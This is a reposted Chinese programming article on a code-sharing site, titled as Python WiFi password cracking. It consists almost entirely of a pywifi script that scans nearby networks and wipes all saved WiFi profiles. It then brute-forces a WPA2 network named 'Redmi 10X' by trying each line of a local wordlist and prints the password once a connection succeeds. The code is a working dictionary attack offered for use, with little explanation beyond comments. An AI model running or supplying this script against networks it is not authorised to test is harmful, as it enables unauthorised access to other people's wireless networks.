ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

python破解wifi密码

2021-08-29 10:33:56  阅读:614  来源: 互联网

标签:profile const scan python wifi myinterface print 破解


import pywifi
import time
from pywifi import const
# 判断是否连接到wifi环境
def judge_connect_wifi():
#创建一个无线对象
wifi = pywifi.PyWiFi()
#获取无线网卡名字
myinterface = wifi.interfaces()[0] # iface 是一个列表,取它的第一个元素

# print(myinterface.name()) # 无线网卡名字
# print(myinterface.status())# 连接wifi状态

if myinterface.status() == const.IFACE_DISCONNECTED:
print('wifi未连接')
else:
print('wifi已经连接')


# judge_connect_wifi() # 调用 判断是否连接到wifi环境

#扫描附近wifi
def scan_wifi():
#创建一个无线对象
wifi = pywifi.PyWiFi()
#获取网卡
myinterface = wifi.interfaces()[0]
#扫描附近wifi
myinterface.scan()
scan_result = myinterface.scan_results()
# print(scan_result )
for wifi in scan_result :
print(wifi.ssid)
# scan_wifi()

#断开wifi连接
def wificonn(wifiname,wifipwd):
#wifi的测试连接
wifi = pywifi.PyWiFi()
myinterface = wifi.interfaces()[0]
#断开wifi连接
myinterface.disconnect()
time.sleep(0.5)
if myinterface.status() == const.IFACE_DISCONNECTED:
#创建wifi连接文件
profile = pywifi.Profile()
#wifi名称
profile.ssid = wifiname
#wifi密码
profile.key = wifipwd
#wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#网卡的开放
profile.auth = const.AUTH_ALG_OPEN
#加密单元
profile.cipher = const.CIPHER_TYPE_CCMP

#删除所有的wifi文件
myinterface.remove_all_network_profiles()
#设置新的连接文件
temp_profile = myinterface.add_network_profile(profile)

#连接wifi
myinterface.connect(temp_profile)
time.sleep(3)
if myinterface.status() == const.IFACE_CONNECTED:
return True
else:
return False
# wificonn('Redmi 10X','mnbvcxz123')

def red_pwd():
print('开始破解')
path = 'D:\coding_software\pyfile\python_chart_sixteen_7_26\2021_08_28\pwd'
file = open(path,'r')
while True:
try:
wifipwd = file.readline()
bool = wificonn('Redmi 10X',wifipwd)
if bool:
print('密码正确,密码是:',wifipwd)
break #只能退出一层循环
else:
print("密码错误,密码是:",wifipwd)
except:
continue
file.close()

red_pwd()

标签:profile,const,scan,python,wifi,myinterface,print,破解
来源: https://www.cnblogs.com/startl/p/15202015.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有